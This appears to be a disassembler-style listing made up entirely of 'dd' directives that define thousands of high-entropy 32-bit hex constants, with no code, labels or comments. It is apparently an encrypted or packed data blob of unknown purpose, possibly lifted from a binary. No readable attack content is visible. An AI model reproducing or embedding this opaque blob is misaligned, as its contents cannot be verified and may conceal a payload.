		dd 0A5C0E9CAh, 0A0CCEFAh, 9D0DBE32h, 0B0567F1Bh, 3E154342h
		dd 10004837h, 2D2B6F4Ch, 5125D680h, 275CD613h, 0BA00CCFEh
		dd 0BD44E50Fh, 0D665040Ah, 0EADD2993h, 95C926B2h, 0BD1D15F8h
		dd 73D32832h, 45216EA1h, 4E917AF8h, 9E1E82Bh, 0F91CE768h
		dd 1EAE8286h, 815D0364h, 0BA96827h, 95B30C05h, 17B4EB65h
		dd 90B75361h, 4E624B20h, 0A1A1F857h, 17833DA0h,	0D844FEB9h
		dd 0D8C0AADCh, 4A3709B4h, 16B1AC25h, 103075C9h,	96A59BAh
		dd 0D131D92Dh, 0A6852883h, 0DDB3FF84h, 0DF42EF4Bh, 0DEAD3EE9h
		dd 7858BB6h, 2679B477h,	0AF089AE9h, 8AB61EFDh, 62E259E0h
		dd 0BB5EA5E9h, 6DD8CA81h, 0F16E65DDh, 1EA227E5h, 3E967107h
		dd 39937E0Bh, 0FED6B49Ch, 0CCB682DEh, 0E6759F68h, 5E87F08Ch
		dd 26C4CC5Eh, 0C47B7841h, 55D20F7h, 822E7E28h, 5A258ADBh
		dd 146827CEh, 0E86043B1h, 0BA964BB8h, 30C1B439h, 0F4D0B1Dh
		dd 832CD8E0h, 8BED0CAh,	0B9007C19h, 7B071591h, 6ADAA031h
		dd 5A64B5C4h, 2B4B3EA0h, 77222F8Ah, 51C04BA2h, 28276857h
		dd 4075D027h, 2C071979h, 2DD71E2h, 570C1DC2h, 6C4F61C0h
		dd 2141FF13h, 4A269BF0h, 0A79DE897h, 5595AFC2h,	0B2FEFB1Eh
		dd 0E999065Ah, 12CA1864h, 0AE298C44h, 27E9CAF4h, 810A146h
		dd 311F9468h, 0D4C2270h, 0B5594686h, 448FBEC8h,	4279D425h
		dd 60070B13h, 3E29874Eh, 0E28249C1h, 39B431C8h,	3D5AAF5Fh
		dd 187358C7h, 274D21FFh, 0E02A0A63h, 4C738EA8h,	840BF9B8h
		dd 46E1821h, 0E912D607h, 2F985B6Ch, 86A92DE9h, 8D0864E5h
		dd 0B67D2571h, 22681430h, 54CBCF65h, 2F711CF5h,	8A5941E9h
		dd 5418F2BCh, 0AEFF67E6h, 98192FABh, 0EE6902D7h, 3D227D5Bh
		dd 812016C9h, 26130DF1h, 26F7C65h, 553E60E0h, 0A2913070h
		dd 0A15CC11Fh, 0DBFDC657h, 9605DD5Ch, 0EA111316h, 0F22E28B1h
		dd 4C12D07Ch, 0ABC24EB2h, 56D85C58h, 8C2BF795h,	97A9C4FDh
		dd 970B67C1h, 89E143C6h, 0E90EA51Ah, 251C1280h,	2C68C55Fh
		dd 4E1100Ah, 41F3BF57h,	0FD0911C1h, 0B7BBFCF4h,	680160BAh
		dd 0C38A48C1h, 0D06E8A0h, 5E589416h, 0A019D409h, 4D202DD1h
		dd 84614AA0h, 25071F38h, 5D847F5Eh, 44BA6B68h, 8DD0D531h
		dd 0A55D2571h, 0C6E55707h, 8BE6D9A5h, 82E17CE9h, 3CBE2FBAh
		dd 5A4A5907h, 0A750BF9Dh, 7D553CE1h, 0D9F7282Dh, 36303E85h
		dd 43810E1Eh, 5A1453D0h, 70160C07h, 0E7C032E2h,	505B6982h
		dd 2576CD21h, 41581227h, 0DC4C4297h, 0A7D1C9F0h, 5C9C934Fh
		dd 582C0A5Ch, 10BEC828h, 2FF05BABh, 1D872F10h, 0F1810AFCh
		dd 5C136986h, 5329D0DBh, 0F76B136Eh, 0C7E409D1h, 3CF5CA26h
		dd 0CE668912h, 26D651Eh, 495368A4h, 0BC3A5408h,	0F6E9F01Dh
		dd 0B87FE191h, 8EFEB4E3h, 49FB5EE5h, 0BD802DB6h, 51485310h
		dd 277B5648h, 2A3ED38Ah, 5B9AA36Fh, 93A98B18h, 0E98903BEh
		dd 685AEDBAh, 9010D4A8h, 0C5800975h, 678EFF44h,	4A33D40Bh
		dd 8A9ECF0h, 4749E55Fh,	0FE7C25DCh, 4E2ACCA1h, 61C5F7A3h
		dd 0B96C84D9h, 41FA9259h, 56FC288h, 0EA092049h,	3A248002h
		dd 40D2F716h, 3926381Dh, 51133FE9h, 85F6EDA6h, 4DB730Ah
		dd 56C9AE4Bh, 30FD620h,	0E939DB6Dh, 0AC4AE5FDh,	0A70137FDh
		dd 1E77BE3h, 452CDAh, 3E9073C9h, 2E31302Dh, 4C7F11h, 6B3A2A4Fh
		dd 869539E9h, 1CA85A09h, 5268D387h, 5B5B337h, 17B26318h
		dd 705C9EC2h, 656677A4h, 0AE01BE80h, 0E1DA72C2h, 0E13BC3B1h
		dd 33E16AF5h, 2830A06Ah, 13BAD557h, 5FBF1EDh, 0B838687Eh
		dd 0CEB2C0E0h, 16D08850h, 416EB8E9h, 0C012BFD2h, 0E8E47A10h
		dd 3A6C3DCDh, 0BAD46A8h, 0E0EB35B0h, 667C00E2h,	3C45C10Ch
		dd 0AD68125Ch, 0D6A0E82Dh, 0B710F706h, 852507C8h, 0A50EA053h
		dd 415C9211h, 0E8C31BE2h, 6F8071D1h, 2E799DCEh,	449502EEh
		dd 6518F666h, 9300536Ah, 8090B450h, 0EE785EF4h,	0DCF69F04h
		dd 88C93D80h, 505873E6h, 27E9A3F3h, 0D571AF8Bh,	104AC93Ah
		dd 0BA026AEDh, 1F5F401Bh, 23453140h, 57207900h,	0F7685253h
		dd 0E4A99015h, 202DF5EBh, 5A351210h, 84A991FCh,	0CFB7E9BDh
		dd 403C34B9h, 0FC5A9E58h, 100394BBh, 8012E2C5h,	83230ACDh
		dd 39DF2DB1h, 0DACEEF63h, 0A63425D6h, 15C38AA0h, 23DFF11Ch
		dd 1D9737BDh, 0B2187DD0h, 27AB06Dh, 127377D0h, 80020C8Bh
		dd 77E94476h, 34F52486h, 0E21D1727h, 73E9128Fh,	0C43073E5h
		dd 45C60A08h, 3083BDDh,	377E65EFh, 4C006CC2h, 2D2FD033h
		dd 2AFE7C29h, 28340C68h, 2C001C29h, 6FCAE95Fh, 3761756Fh
		dd 42545736h, 89DCB9BFh, 5D85BB01h, 2E9282Bh, 0F368436Ah
		dd 3BE344C0h, 3E7CA1D9h, 0E03F188Dh, 774FA67Ah,	5E0C6730h
		dd 735A490Dh, 29A33717h, 0ACB03AA5h, 0DD8ACF4Eh, 2D1300F7h
		dd 2944529Eh, 72030BEh,	6851F29Ch, 8A3E07EDh, 0F7E912E3h
		dd 22FA9953h, 0A0DF1F02h, 3048B958h, 1F557657h,	0C967DBBDh
		dd 64DFEB4Bh, 156E3548h, 0A2B3BF58h, 4BC69E40h,	52002282h
		dd 3990AE6Ch, 78F3075Fh, 5A5F9350h, 0C4B5E87Dh,	45FAFA58h
		dd 0CD5E11DCh, 0A81C967Ch, 0B41FC8EEh, 7F3D676Bh, 72E0EA0Eh
		dd 88511F22h, 0D14EA5B0h, 61642EC2h, 68CC02D0h,	55D1B805h
		dd 0FA2BD16Dh
		dd 4FC01352h, 0C24BDE87h, 0B8A0E906h, 5FFA9648h, 0BFCFCC95h
		dd 0A21A20C5h, 2FA9FC9Dh, 0AB9B1957h, 48CA6Eh, 34685351h
		dd 0BA73E137h, 0B74B4AF3h, 62F84EA1h, 2348FC0Eh, 9D0301D6h
		dd 2B6C3D99h, 9C121A4h,	23DD1644h, 88BA875h, 0D9E05F16h
		dd 582E649Bh, 2F59C788h, 0A9927429h, 9820A5F2h,	0FE580342h
		dd 1CC680CEh, 241F1ED9h, 0E0A1EB44h, 5F4428CAh,	0EB036CABh
		dd 7F6584Dh, 1AD93F10h,	44A845A5h, 0A6F03017h, 61FA5BC7h
		dd 3541708h, 520CA80Dh,	62D3D02h, 0E070E093h, 0FD4F08EDh
		dd 0B51083E3h, 1368123Bh, 798745FEh, 368BAE4Ch,	0BB5B9D59h
		dd 59D22E67h, 8BBE5954h, 9C3326F5h, 43397AB8h, 0C16A0E95h
		dd 580FBC01h, 0BE39C53Ah, 1278DAC0h, 0CB7058C7h, 1B3B9802h
		dd 0DBD94E50h, 0D9398A3Ch, 41029D2Eh, 5532A317h, 0C07F90C2h
		dd 90CE31BAh, 2A7241B6h, 38C3C281h, 7179A826h, 32A254Dh
		dd 0D412D2D1h, 45D5449h, 1BC10762h, 1F44E04h, 0CE73B58Bh
		dd 0E2E95C40h, 52A5942Ah, 3C3D8Ah, 253727F1h, 7649B6E9h
		dd 0FAEF71CBh, 0E533687Dh, 76227B6Fh, 0ABF5057Eh, 0AE3A6872h
		dd 76016116h, 928AE248h, 577C852Fh, 0F4BEE15Ah,	7EB07C4Ch
		dd 0E90DB761h, 0DC6B7A86h, 85F8F049h, 432725Bh,	0BDF9A09Fh
		dd 60CF3AFDh, 4B737E57h, 60BD104Ah, 2E5DCE76h, 23174BFh
		dd 72D37C94h, 0FDF6C2F5h, 0E2BC6F1Ch, 0E98BFA48h, 28EF83Dh
		dd 0E8547FBAh, 9BC22151h, 3A5D9A61h, 680BBDCEh,	3DE6D2Ch
		dd 9D5AE958h, 65B7E170h, 0AE5F17B0h, 66AF758Dh,	0D9E9E771h
		dd 52820AD1h, 3E254F28h, 0A1AE93Dh, 8DD2229Ah, 0F57CC101h
		dd 3D216A63h, 108CE22Bh, 94FBB67h, 0B15F0208h, 9774A91Ch
		dd 7D270B35h, 69F06CC0h, 5D5A43B0h, 805F3EE7h, 0AC2A42B1h
		dd 300C4C5Ch, 8AE90D3Eh, 979BAB2h, 5E870550h, 318B5FEh
		dd 39F28107h, 0FE247C11h, 599410EFh, 0D4EA966Ah, 0C3798399h
		dd 0F6ED0781h, 76DE8860h, 254AD607h, 0F2AB32E5h, 75895BDh
		dd 4E9C0D0Fh, 0F935805Dh, 0BDD58EE9h, 7D899FE1h, 65207B5Eh
		dd 55435C82h, 96842D38h, 0EEDA29FAh, 53F29860h,	6ED525BBh
		dd 0B5FACAF0h, 0C81296DCh, 0DC46A3F5h, 26DE1426h, 0F304C64Dh
		dd 810D6A22h, 6229C9h, 2740DDBAh, 4158324Dh, 240DAE3h
		dd 65303330h, 0CBE9171Bh, 0A5D8B9BBh, 96A69D79h, 28518108h
		dd 717F0AC4h, 0C0E35F98h, 3E45CDBFh, 0FD217A16h, 9100C665h
		dd 0B7E7BEB8h, 0ECEA4B01h, 4E07B6E4h, 8F69EA57h, 0F33075E2h
		dd 9B5DFE9h, 479E550Dh,	0B254E2E1h, 98011882h, 6915603Dh
		dd 0F3487353h, 29562C2Fh, 131408BDh, 1FC7283Fh,	0A3E65A4Fh
		dd 18E8F826h, 85ED671Dh, 0F4BB5028h, 4DD5E04Bh,	7ED7F5EAh
		dd 52A0ACECh, 5D4A41E9h, 192BBF9h, 8C2C9A56h, 0C3A86A27h
		dd 25480841h, 0F9124EBBh, 3896855Dh, 0A7E47AD9h, 0EB51C00Bh
		dd 139709D7h, 3E2A81A0h, 556F6517h, 250D750Ch, 5C20FC3h
		dd 9E646945h, 7937E341h, 0A075482Fh, 52095581h,	354CC010h
		dd 497F2503h, 2627E910h, 0B413284Ch, 0CD4F6063h, 6C486E09h
		dd 27E7013Eh, 0D32171F2h, 7B672C8Ah, 54566CFAh,	32C33B12h
		dd 9C6BC9E8h, 0CCB5C2DEh, 0EACE57EFh, 0C6256C05h, 8CA741AAh
		dd 83446219h, 1A5934A6h, 4E982731h, 57E99BF4h, 5F0E0272h
		dd 166C2A68h, 64299FBEh, 68035F4Ch, 0D871AE3h, 6CBF3AE3h
		dd 0E5FE9F5h, 4A7B22E4h, 0EAD88C7Eh, 0CDC19060h, 58DE6A0Ch
		dd 0C602ED4Fh, 21183D05h, 140169DDh, 973AD7FCh,	0D5A2A1E8h
		dd 24B83AC0h, 954AE36Bh, 782F3F79h, 5E0C8159h, 58D41A2Eh
		dd 2D5D6475h, 1BFC8538h, 6E9B0560h, 32477E09h, 535C82C4h
		dd 8C6DF475h, 134419BBh, 83FD5CC5h, 0DF018706h,	6BC5016Eh
		dd 0E9030E44h, 804F24AEh, 0D6BDEF79h, 4C700BA8h, 470B327Ah
		dd 0FD17C54Ah, 7FD39D48h, 110FC024h, 3C09111Ch,	0F5478AF0h
		dd 73504610h, 0C7DEBDDCh, 12E2B870h, 162341Ch, 5B57DA12h
		dd 87BC3F4Eh, 22260841h, 4F25BF50h, 0FA4E354h, 78DC1E7Ch
		dd 3011D034h, 685061D1h, 3C5E2370h, 192F44A8h, 2B54A641h
		dd 0E9A1A6FCh, 9FC57EEBh, 547228FBh, 434960FEh,	7A4B1022h
		dd 11620ADEh, 95CA4424h, 75728716h, 1840BEB5h, 0D156E1F1h
		dd 3340B522h, 16773D6Bh, 0F2E9295Ah, 48012D81h,	0A7E07E3Bh
		dd 0A807A305h, 5E7F658Bh, 34BFE6Fh, 517F0C09h, 9621FB4Bh
		dd 0A04F0C81h, 2889FD78h, 1F164FF2h, 4886DAFFh,	8E46253Eh
		dd 8DEE72A9h, 7C6FF50Dh, 0F6E64BFEh, 0EB83CB18h, 0BF04575Bh
		dd 4A3D440Bh, 25E98AB0h, 9148360Dh, 61FE4FECh, 81047A94h
		dd 0F8C3B9F6h, 920F9978h, 0B32D2881h, 20065E79h, 7D5CBFCAh
		dd 4A293B54h, 0D9136A9h, 585BDA09h, 39E7D355h, 0E5F14EA7h
		dd 0E2E15392h, 0E52EAD2Fh, 4873F2EAh, 972C201Bh, 0DA205FD8h
		dd 0C3FE1C4Dh, 6D89A80h, 286AB460h, 4F6BD197h, 327ED586h
		dd 75C83127h, 7B6989C5h, 6348028Fh, 0CC753551h,	69A41956h
		dd 72EDC640h, 0D5291213h, 0FBE08C05h, 501762A2h, 3989405Bh
		dd 0E96ACC62h, 6EC0DB5Eh, 0AE45ED80h, 0D4B2257Fh, 26C06550h
		dd 643C75BEh, 0E17903Dh, 56BA1858h, 5CAAE6C1h, 41272C09h
		dd 3A82FCD7h, 687B3B05h, 68FF3189h, 0E998570Ah,	0E4083901h
		dd 8A3EE961h, 6895317Fh, 20AD7B30h, 8297BD4Fh, 512F22E9h
		dd 76253C83h, 0DDF76F82h, 23F41AD8h, 4D53E49h, 75D512AFh
		dd 0B46E0E1h, 4FAC74BCh, 0CF0BC2Eh, 0ACE2CE73h,	355E00F0h
		dd 12EF2F02h, 584EC129h, 3B429A1Dh, 5F45F213h, 5EA5C4F4h
		dd 1E7F2FD6h, 0F6DEB594h, 4E47E9D8h, 0D34C9121h, 14903F6Dh
		dd 7FDD6EC8h, 5DEA2D46h, 4A4A39D8h, 0BC06C180h,	89910548h
		dd 0FA67E9D0h, 0F5EF3449h, 0E93B1E28h, 215FA000h, 4C26E9D8h
		dd 5660BD3Ah, 2C6A2368h, 2552806h, 114A42CEh, 0F3C22960h
		dd 8F8E93DDh, 73BB1771h, 0E2EFF629h, 94FF0A08h,	0B978BD35h
		dd 312824Eh, 0D58454F8h, 0EF28ABFEh, 0D73D54E0h, 0EE4ED359h
		dd 854E028Bh, 0DA8BBAE1h, 63060501h, 3B2D0A1Eh,	0F21602E9h
		dd 56DAEB56h, 7BAECD5Ah, 0FA4B2FBDh, 0A73FAB39h, 2DBB4AC0h
		dd 759C0239h, 385BA8DAh, 5809B345h, 317B56F1h, 2FCE8903h
		dd 2482F124h, 5A6BC87Ch, 6D6D9556h, 0F37E8E8Bh,	0BC97BDFBh
		dd 2B3AA157h, 0E91B3CFFh, 5275552Dh, 1A4BBFC4h,	88C9ABB5h
		dd 0C19ADD01h, 0CC8A1D05h, 0BA3343FCh, 34C5F0Fh, 5C3F6457h
		dd 9F235AAh, 85D15869h,	67457406h, 2A52000Ch, 0DD011DBCh
		dd 70480BE9h, 1968C4F7h, 7BF1CDAAh, 74808DDDh, 4ACC08AAh
		dd 0DD40FEE9h, 64C72C80h, 0B2E62C6Bh, 0D0F62290h, 51DBF600h
		dd 3980D5B1h, 7BFE01C1h, 49D17435h, 0D01EBA99h,	514ACBEFh
		dd 95539C55h, 0FD1D57B0h, 0A53CF197h, 58B299FFh, 0C4C5AC3Eh
		dd 6CA4BB18h, 89651D9Bh, 74C98172h, 3A210259h, 26CE6E4h
		dd 0E99A669Fh, 59DFCEACh, 28AE8BDDh, 3962525Eh,	908C4652h
		dd 0B51F733Dh, 89EC6CCh, 9B05273Ah, 72BFA285h, 42099E10h
		dd 0DEB85F62h, 5C814C50h, 0D6B4B87Fh, 4F68932Ch, 176EF625h
		dd 9DF23FF6h, 0BA0FD035h, 0A316A2A2h, 88B62D60h, 49C237Bh
		dd 0F36FC368h, 18101BB0h, 991AE837h, 29AA5C1Eh,	0EB495A2Fh
		dd 88E915AEh, 23668C2h,	81604871h, 275569E9h, 3743632Ch
		dd 0EA081795h, 8B6ABA8Dh, 40D727FEh, 128BBF91h,	9462F55h
		dd 69D1227Bh, 0F9442E9Fh
		dd 68033176h, 3F163F65h, 0D7BE914Ch, 64742B34h,	4BE5896h
		dd 1249FD85h, 0CF0626FCh, 0E8346E3Dh, 4A203238h, 25122EABh
		dd 9024DA35h, 486929F1h, 4A5E9E85h, 69B4435Ch, 0FF25BA7Ch
		dd 0D3770832h, 0EB6B641Dh, 6A5964FDh, 0BB2DABB5h, 0CB26E83Bh
		dd 816660DEh, 575B0EE7h, 0F7C11FC9h, 0E6D34845h, 297789F7h
		dd 7E4F29D1h, 7461004Ah, 0CB810C11h, 0B8450203h, 4AD3F76Ch
		dd 0EA39A004h, 0BE480D13h, 21E40BEBh, 89781EE0h, 55545D82h
		dd 282AB260h, 0D678B7D1h, 17C3E126h, 656C01Dh, 15B74FBAh
		dd 3359E3A7h, 5686A3EBh, 0BE47919Eh, 0D063440h,	38A0C14Eh
		dd 8225DF2Eh, 45351D8Ah, 9E617F49h, 0C05938A3h,	0C71C90B9h
		dd 5B6EFA21h, 7B8BB73Dh, 5181684Bh, 0BC6BEE88h,	0C9138443h
		dd 271D3503h, 0C7D167FBh, 43206F93h, 9F04E846h,	64520C7Eh
		dd 0E464F4Bh, 0DD005A17h, 5A1685Bh, 2FB0669Dh, 0DFC67E4Bh
		dd 61C31924h, 5AE75AA5h, 4A20CE5Fh, 4A59CEEFh, 87272EF2h
		dd 94563C7Fh, 6F6450D0h, 6C94C082h, 62AB2C53h, 0D681A31h
		dd 0CAEBD141h, 0D7C00B57h, 0E9279BBEh, 0F6A5017Ah, 2E6E52D5h
		dd 1C4B5C30h, 0DE93EB88h, 108436E9h, 4A978A7Ch,	621022E3h
		dd 93B61654h, 0E11620Bh, 0B2EFAEBBh, 0BDE73E03h, 0F6A1F852h
		dd 4A1CB8D6h, 5B4CB466h, 6C0F2D90h, 0C534C74Ch,	0DB908952h
		dd 0B0FB87D7h, 0EF094468h, 56ED0145h, 825717A5h, 0A97D3037h
		dd 0A698F4E2h, 0FAA0928h, 879A187Fh, 3FE6BD7Ah,	75382412h
		dd 0B780DCC7h, 184CA5EBh, 125EF131h, 3628206Dh,	723C990Bh
		dd 184DB008h, 4E542D26h, 41BBB919h, 141CA008h, 31E95339h
		dd 5EF0EB02h, 8765EA2Fh, 8C3612BEh, 474114F0h, 0F14EC341h
		dd 0EE1D6801h, 0CA000C8h, 3F0C52B3h, 3C6424B3h,	0F4120288h
		dd 0FB9E9046h, 3C48AC4Fh, 0EBD94ABDh, 0E123A92Eh, 4781FD27h
		dd 8DB7BEEAh, 505C3FAFh, 0AA347925h, 0A6DD957Ch, 9581B40Bh
		dd 837C2B09h, 0EF7ABD02h, 3C8E8013h, 52F4FF1h, 0EE9F231h
		dd 0CAED4015h, 0D2C6BDDh, 7D85DBA1h, 66A95FEDh,	9A5E8FC1h
		dd 122F700Bh, 4D09489Fh, 28EB2E55h, 0F8C41753h,	7D2DA185h
		dd 7B2BCD6Bh, 5E3BE5BDh, 4B2DC0CFh, 235AC25Dh, 712E2C4h
		dd 8BAA0113h, 0F1285A81h, 0CE9C31h, 1D305AB8h, 0EF750D03h
		dd 2552F300h, 58FE6EC8h, 5840B2Dh, 0D40F2BCAh, 0E2828909h
		dd 0E6FF6C81h, 0BFE92F30h, 8356E662h, 23943702h, 32C0F7B1h
		dd 8D4EE951h, 0B4D5C24Ch, 337613EEh, 599041Dh, 8858027Ch
		dd 0E8264003h, 0A0BE8045h, 61930E48h, 8C4B9856h, 96608147h
		dd 4D31DD1Ch, 0BF7286E9h, 0FA5BF17Ch, 0EA2CFE45h, 539D0BD3h
		dd 44CFEFFCh, 0CFBA6703h, 0E483261Bh, 0C09C192Ah, 0DB041C64h
		dd 2DAD000Dh, 48A95BAAh, 18170005h, 23DA6056h, 55725D63h
		dd 27E5810Eh, 0D700121Dh, 0C93FE4C5h, 3CF5F878h, 0DD7F35E3h
		dd 57F68418h, 0BC1BEFDh, 5153977Eh, 0FC0D9868h,	0E7FC9578h
		dd 58357E58h, 0EA05C521h, 0FFED03FAh, 0EF40EBA0h, 98CC1FAh
		dd 60400DA7h, 5925E942h, 276B9439h, 0DD9CD1F5h,	784E1DFCh
		dd 0F4F520E8h, 7A9CF683h, 3DEDF525h, 41712C11h,	6CF53F44h
		dd 4C9DBC2Eh, 78D889BBh, 0EABB0450h, 0C332480Ah, 65E47BDh
		dd 0CD077BBDh, 605CF329h, 0A111C6E3h, 3A180460h, 0CF097971h
		dd 2C6091FCh, 38CDE901h, 0F9F5C3C0h, 606BC060h,	58E70E45h
		dd 0E9276805h, 330C41D7h, 86A7D3BEh, 39FA1972h,	6130BB2Dh
		dd 0CF15743h, 0D69CF22Bh, 0EE01CDB9h, 0FEE9EF77h, 3137A64h
		dd 5BA59FEFh, 2468D098h, 0C2067CC1h, 81513E4Bh,	55269D80h
		dd 9BE5654h, 3F416FBh, 9A4FDAF5h, 2B9D0B11h, 248021F2h
		dd 907CE955h, 8E62D8B4h, 97ECFA67h, 4D741260h, 0F1815C4Bh
		dd 0BC6AD5F1h, 1987E6DFh, 1049B6E9h, 2D296031h,	444E5300h
		dd 0E5C3543h, 4048007Dh, 2E104705h, 0E327E96Fh,	0FDFB2919h
		dd 0A4214042h, 4878FF68h, 674B5E2Eh, 569392BCh,	0EE97EB0Bh
		dd 0C206EFA3h, 2D9A49A6h, 486FF82Ah, 667C25D9h,	817CB7CAh
		dd 0D358E74Fh, 64BBF2FFh, 0E6B1AAF7h, 0B552B82Eh, 5090CAFBh
		dd 5195B394h, 0C152E592h, 2C5FE95Ch, 0E0BF400Ch, 0D32674FBh
		dd 48962A98h, 0ED1C5218h, 0E05F823Bh, 251BB192h, 8F05C9FEh
		dd 0AADE8166h, 0E887534Bh, 8CEF94BFh, 493D1E4Fh, 5F9AF309h
		dd 0F4D4BD4Eh, 73F8ECBFh, 7803299Fh, 0ECF02F47h, 832EBAD2h
		dd 1182F7C6h, 0FF25BC6Eh, 0FC680C01h, 0E7023426h, 0B68E6A4Bh
		dd 3D67BA5Bh, 0BEA21314h, 80E14F73h, 0ED2693A6h, 4A275AE0h
		dd 1CCA5550h, 2EE6097Dh, 42B177E3h, 7B59CD40h, 63988Dh
		dd 0CF1AC2C5h, 0D480E977h, 0E597ACBAh, 0C7DBAF6Ah, 2449BD0Eh
		dd 0C7C06676h, 5B48307Bh, 0CC05F05Bh, 0E8498260h, 171CD22Dh
		dd 0A85D2F18h, 64F21691h, 5BF7F0C8h, 27F0D8D5h,	41702A0Bh
		dd 0CBEBF121h, 0FFF04140h, 6208E925h, 0D59F577h, 70FE5166h
		dd 0B42E194h, 91A6535Fh, 25D15A02h, 377A403Fh, 2F684122h
		dd 0E921E225h, 76817991h, 381FE5BAh, 0B9136023h, 2002B024h
		dd 21EBBF0Ch, 167B045Eh, 0FBEAD143h, 0E0531701h, 6B74810Dh
		dd 319A0CB5h, 0E55B8BCAh, 77885040h, 5F6A2DFAh,	0D0A8AC7Fh
		dd 1C1609B9h, 427DF48Ch, 18F9400Ah, 0EFE6B552h,	0B7F0649Fh
		dd 73A5AFE7h, 0D0E984CAh, 48FCA790h, 2728583Ch,	501D56C0h
		dd 719FA639h, 80268884h, 0AD5B027h, 4C79518h, 66D8B500h
		dd 0BFFB050h, 28E5C580h, 0E3DE63FDh, 2B140F58h,	0E881B004h
		dd 2A101E68h, 0F3F36FCDh, 2CF0F199h, 0F9EC77D2h, 6A02C64Eh
		dd 6C1FFB68h, 8055FC7Bh, 0F679F281h, 0E1599724h, 0ACE4EA13h
		dd 0DF4749E9h, 37875C1Bh, 32764BF2h, 6CA5D669h,	6C9E5D0Fh
		dd 9C94B05Ch, 0FA5913A1h, 59E92038h, 5F13A881h,	128EBF5Dh
		dd 1444065Ah, 0CA75DF59h, 0F32D5F79h, 4D947DB0h, 0EAE48A99h
		dd 0A2B1FAD4h, 20A3A56Ah, 9C5F7C6Fh, 3151AAB1h,	0AC07436Ah
		dd 0D854C40Eh, 4806EDA3h, 5975A053h, 7DF6BD0Eh,	30646152h
		dd 0B8C17392h, 890226C6h, 0AA0B8417h, 0E0580011h, 0ED263627h
		dd 0C3D099FDh, 0A60CC118h, 0B4778E54h, 81A287Ah, 4C140C0Ch
		dd 6B3718A5h, 3B548628h, 5E75232Dh, 3C9440CFh, 0CDFE324Ch
		dd 582CBF0Ch, 2211829h,	0E9EA367Bh, 19F50497h, 0CA287046h
		dd 6516AE4Fh, 0EE9340A2h, 6206DC0Bh, 0E9B67DFEh, 553032B7h
		dd 0CD09DA74h, 935322F5h, 599AFD2Ah, 466AF500h,	7ABF6506h
		dd 233E0AF2h, 14B46D85h, 624B07C1h, 0CC50A8DEh,	6A5397h
		dd 5D346850h, 584C57E4h, 5C6138Ah, 0B26E77EEh, 46D57BB5h
		dd 2E587A1Bh, 60BE6737h, 1D2FAEB6h, 210DC1B5h, 4A33CB6Ah
		dd 0FA6394BAh, 8AE1A8B8h, 7CA17DD6h, 0D0AE510Bh, 939F929h
		dd 0F5F47321h, 0EA684A60h, 6086B640h, 34EF380Bh, 0CA9F6890h
		dd 0E825DD1h, 5C02D322h, 1FD35452h, 6D6B402Ch, 6C44F935h
		dd 8A497F7h, 0CC0A00BAh, 89DCF0D3h, 0BA21C741h,	3D2AFF25h
		dd 5FAB2E77h, 31BF81F5h, 0EC6DA253h, 7AC09A9Dh,	0ED33C8B8h
		dd 0C32924E1h, 5BD80535h, 0F08EC456h, 0D105F66Fh, 0C480CC86h
		dd 4D636381h, 30596600h, 0DC58C63Ah, 2D3F3854h,	69B651C8h
		dd 0FB3F7C25h, 41D6692Ch, 0A2C03FCAh, 2F109278h, 3DC7F331h
		dd 395DC80Ch, 1D69966h,	2620CAF1h, 34E96E0Bh, 0C8020E05h
		dd 9A428303h, 854D07A1h, 2D2FE118h, 0FDC903C0h,	480B3D30h
		dd 0A3108E93h, 545616E3h
		dd 0E96360AAh, 0A9C16D3Dh, 9B0FE7CDh, 5725DAE7h, 9E7D220Bh
		dd 1AC887E4h, 3FC3351Dh, 2E5D4E0Ch, 5D61880Ah, 0C3304574h
		dd 305ADEBAh, 7A4DC197h, 1B2D613Fh, 0C0403ECCh,	2F1E29EFh
		dd 0FB48F80Eh, 46FE22Eh, 0BFEAE30Ah, 5CAE0382h,	0CC569C43h
		dd 0E68CADF5h, 18E7C180h, 78535503h, 12257AFAh,	5E65E1D1h
		dd 21760B7Fh, 0F1151A75h, 258E422Ch, 270BDA0Ah,	779B9A75h
		dd 0FEFC99E6h, 0DCDD5D5Fh, 7840CD3Ah, 0A1E90DFBh, 0FD204541h
		dd 17EA852h, 17688081h,	9E2AF9B7h, 2EE4052h, 815A3947h
		dd 0FD3CA00h, 0FCE94588h, 2FBEBB53h, 0CB4EB0D5h, 40FE9859h
		dd 32BD2952h, 317259ABh, 6E5D5408h, 13201700h, 25E94E8Bh
		dd 53C94B15h, 28FF2F05h, 744C686Eh, 33EFD615h, 3625551Eh
		dd 54C6614Fh, 0E64CE86Bh, 952CCB8Dh, 19BD1AA0h,	5D4FC71Bh
		dd 5AF644F2h, 521CD990h, 0DEFCC82Eh, 0A0D7F6B2h, 4D043D6Fh
		dd 9442E925h, 0DFAFA2BBh, 0A5725C8Bh, 0FC08D2BFh, 2DFC6FEEh
		dd 0B5511082h, 743C0DC1h, 146F790h, 0F680C904h,	3685BFF5h
		dd 4FAA2CAEh, 0F602F891h, 0D4B572FEh, 607B039Fh, 0B22C43F0h
		dd 5413402Ah, 24E99602h, 0FDEEA57Ah, 0BBE8B484h, 5190288Eh
		dd 40FA3A78h, 806DB6AFh, 0C018C7C6h, 2E0C04E6h,	5AF10930h
		dd 6F8FA32Ch, 6559127Dh, 0A01EFA0Dh, 0D4F28043h, 4FB396E9h
		dd 8012942Dh, 0B753FBBCh, 0BEB10D4Eh, 0D8B2Bh, 95274EBh
		dd 9C8FE943h, 65B9278Dh, 0BA126A97h, 0B5CBE1C1h, 13B7CB48h
		dd 135CF63h, 833D6D6Ch,	4F78300Bh, 1DF25910h, 0F745B406h
		dd 2B0D0C54h, 3C2F616Dh, 656CEDD0h, 0BAF554F9h,	0A6AA7313h
		dd 819E945Fh, 7C2857FBh, 3A0EC26Eh, 5E5F256Ah, 43687040h
		dd 0A9222C4Ah, 0FC9EC352h, 0C7190512h, 0EA7FAAEh, 2D4E5610h
		dd 68424821h, 0A97C4EE6h, 6468B780h, 97978157h,	27FE04D4h
		dd 0E809A46Fh, 0FCBC4E82h, 0FA2FB8DCh, 7CF15FDAh, 0CD680B7Eh
		dd 0B06EC636h, 411ACB92h, 0AF73F385h, 0E15B57CAh, 2DB443FAh
		dd 0E94BD688h, 0D97D432Fh, 2ADD43DFh, 0E3B7EA84h, 954CC640h
		dd 0C2D0594h, 0CBAF3A79h, 0C835F2F7h, 17F3B913h, 0B05E4A29h
		dd 0A92542FAh, 0E62D71Ah, 0EAA8080Bh, 6FC125BEh, 51437005h
		dd 292F077Eh, 0D2B8D6C2h, 1C016DC4h, 6843D511h,	437813BAh
